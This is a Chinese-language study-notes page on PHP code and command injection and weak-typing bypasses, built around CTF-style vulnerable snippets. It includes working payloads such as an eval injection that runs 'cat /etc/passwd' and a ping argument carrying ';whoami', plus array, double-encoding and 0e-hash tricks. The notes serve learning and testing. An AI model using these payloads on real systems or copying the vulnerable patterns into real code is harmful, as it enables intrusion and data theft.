1. 程式人生 > 實用技巧 >PHP 弱型別 && CODE/COMMADN injection

PHP 弱型別 && CODE/COMMADN injection

CODE/COMMAND INJECTION

CODE INJECTION

https://www.freebuf.com/sectool/168653.html

EXAMPLE1

<?php

$str = “echo \”hello “. $GET_[‘name’].”!!!\”;”;      .是連線  雙引號注意就近。  

Eval($str);          \”雙引號轉義 因為echo  內容需要是字串

?>

 

注意單引號雙引號區別

 

%22
.system(%27ls%27);// 輸入,替換了$GET_[‘name’] %22 : “ %27: ‘ <?php $str = “echo \”hello “. %22.system(%27ls%27);//.”!!!\”;”; Eval($str); ?> ‘.cat /etc/passwd’ %22.system(‘cat /etc/passwd’);// 失敗
%22.system(%27cat /etc/passwd%27);// 成功

COMMAND INJECTION

Example 1

<?php

System(‘ping –c $_GET[‘ip’]’ );

?>

127.0.0.1;whoami

PHP 弱型別

= ==

strcmp()

<?php 
    if (isset($_GET['value'])) { 
    if (strcmp($_GET['value'], $flag) == 0) 
        die('Flag is: 
'.$flag); else print 'Flag is not here !'; } ?>

Strcmp= s1-s2

引數是兩個陣列,輸入陣列則錯誤,判斷相等

Urlcode 二次編碼繞過

/i 不區分大小寫

瀏覽器對使用者輸入資料自動解碼(比如輸入 %27

<?php 
    if(preg_match("/hackerDJ/i",$_GET[id])) {
 echo(" not allowed ! "); 
 exit();
 } 
 $_GET[id] = urldecode($_GET[id]);  //解碼
 if($_GET[id] == "hackerDJ") { 
  die('Flag is: '.$flag);  
 }
?>

 

D ,%44,再次urlencode,得到 %2544

整數型別大小比較

陣列在比較中恆大與具體值

其他型別和整形比較會先 intval()

<?php 
$temp = $_GET['id']; 
is_numeric($temp) ? die("retry !") : NULL; 
if($temp>6607){ 
    die('Flag is: '.$flag);  
} else print 'Flag is not here !';
?> Flag is not here !

Extract 變數覆蓋

Extract(array,extract_rules,prefix)

<?php 
    $flags='test.txt';
    extract($_GET); 
    if(isset($id)) { 
        $content=trim(file_get_contents($flags)); 
    if($id==$content) { 
        die('Flag is: '.$flag);
    } else { 
    print 'Flag is not here !'; 
    } } 
    ?>

如果輸入id=$content

使用extract接收輸入,存在變數覆蓋,覆蓋flags

接收輸入後,flags=1,此時

file_get_contents($flags)

取不到檔案,故content為空

同時輸入id是空。 &是連線符,重新複製flags

輸出flag

Intval()

小數取整echo intval(9.999); // 9。最大值取決於作業系統

 

<?php
    $key = $_GET['key'];
    if(intval($key) > 1||intval($key) < 0){
        die("key is not right");
    }
    elseif (intval($key) < 1) {
        if ($key ==1) {
            die('Flag is: '.$flag); 
        }else print 'key is not right !!!';
    } ?> key is not right !!!

 

Php中弱比較,1==0.999999999999999999999999

比如 echo 1==0.999999999999999999999999 輸出1

正則截斷

Erge

Php版本小於5.3

遇到%00 預設字串結束

Preg_match()

Php>=5.3

遇到%00 預設字串結束

 


<?php 
    if(isset($_GET['password'])){
if(preg_match("/^[a-zA-Z0-9]+$/", $_GET['password']) === FALSE){ 
    print('You password not right'); 

} elseif(strlen($_GET['password']) < 8 && $_GET['password'] > 9999999){
    if(strpos($_GET['password'], '*_*') !== FALSE){
     die('Flag is:'.$flag); 
} else{ 
    print('*_* have not been found'); 
    } 
} else{ 
    print('Invalid password'); 
    } 
}
?>

1e8 >9999999 字串長度小於8

Eval() 注入

把字串當做PHP程式碼執行。只能執行不能回顯。

<?php 
    if (isset($_GET['id'])) { 
    $id = $_GET['id'];
    eval("var_dump($id);");
} 
?>

閉合括號,註釋掉後面

Md5()弱比較

PHPmd5對陣列加密返回NULL

對所有0e開頭(16進位制)字串認為相等

<?php 
if (isset($_GET['p1']) && isset($_GET['p2'])) { 
    if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) == md5($_GET['p2'])) 
        die('Flag is: '.$flag); 
    else print 'Flag is not here !'; 
} 
?>

輸入陣列用 ?p1[],多個用 &

Md5()強比較

== 只對值比較,兩邊先轉化為同種型別,若一方為數字另一方為空或null或陣列,現將字串轉化為0

=== 比較型別和值

<?php 
if (isset($_GET['p1']) && isset($_GET['p2'])) { 
    if ($_GET['p1'] != $_GET['p2'] && md5($_GET['p1']) === md5($_GET['p2'])) 
        die('Flag is: '.$flag); 
    else print 'Flag is not here !'; 
} 
?>

Sha()弱比較

對陣列加密返回NULL

<?php 
if (isset($_GET['name']) and isset($_GET['password'])) { 
    if ($_GET['name'] == $_GET['password']) 
        echo ' Your password can not be your name! '; 
    else if (sha1($_GET['name']) === sha1($_GET['password'])) 
        die('Flag: '.$flag); else echo ' Invalid password '; 
} 
else echo 'Flag is not here !'; 
?> Flag is not here !

Strpos

查詢字串在字串第一次出現的位置。Strposstringfindstart)。在string中查詢find

<?php 
if (isset($_GET['id'])) { 
    $one = ord('0'); 
    $nine = ord('9');
    for($i = 0; $i < strlen($_GET['id']); $i++) {  
        $digit = ord($_GET['id']{$i}); 
        if(($digit < $one) || ($digit > $nine) ) { 
            print("必須輸入數字才行");
            return FALSE; 
            } 
        } 
    if (strpos($_GET['id'], 'sss607') !== FALSE) 
        die('Flag: '.$flag); 
    else echo 'flag is not here ~'; 
}
?>

先判斷只有數字

Strpos對陣列查詢返回NULLNULL!==flase

Session 驗證繞過

Session_start() 用來初始化session或從session倉庫載入已經存在的session變數

<?php 
@session_start(); 
print($_SESSION["password"]);
    if ($_GET['password'] == $_SESSION['password'])
        die ('Flag: '.$flag);
    else
        print 'password is not right !';
$_SESSION['password']=rand(10000000,99999999);
?>

系統會判斷使用者輸入的password的值是否與當前sessionpassword值相同。初始時session為空,故輸入password為空即可

若直接訪問過http://10.201.132.248:8090/13.session/session.phpsession已經存在,不為空。清空快取或者換瀏覽器即可